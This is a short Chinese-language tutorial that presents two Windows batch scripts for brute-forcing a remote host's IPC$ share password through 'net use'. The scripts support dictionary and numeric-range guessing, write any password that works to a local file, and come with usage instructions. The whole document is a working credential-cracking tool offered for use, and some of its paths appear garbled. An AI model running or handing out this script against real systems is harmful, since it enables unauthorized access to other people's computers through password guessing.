原理： 

1、字典：for /f %i in (字典文件) do net use 主机ipc$ "%i" /user:"用户"  

2、数字：for /l %i in (start,step,end) do net use 主机ipc$ "%i" /user:"用户"  

实现： 

　　将下面文件存为start.bat:  

@echo off  

echo ---------------------------------------- >>c:pwd.txt 

　　date /t >>c:pwd.txt  

time /t >>c:pwd.txt  

echo 破解结果： >>c:pwd.txt  

if "%6"=="1" goto shit2  

:shit1  

start "正在破解....." /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3  

goto quit  

:shit2  

start "正在破解......" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5  

:quit  

将下面文件存为test.bat:  

net use %1ipc$ %2 /user:"%3"  

goto answer%ERRORLEVEL%  

rem %ERRORLEVEL% 
　　:answer0  

echo 远程主机："%1" >>c:pwd.txt  

echo 用 户："%3" >>c:pwd.txt  

echo 密 码：%2 >>c:pwd.txt  

net use %1ipc$ /delet 

      date /t >>c:pwd.txt  

time /t >>c:pwd.txt  

echo 破解完成。。。。zypcc >>c:pwd.txt  

exit  

:answer2  

　用法如下：  

1、如果用字典破解：start.bat 字典文件路径及名称 主机 用户名  

2、如果用数字破解: start.bat 起始数 步长 结束数 主机 用户名 1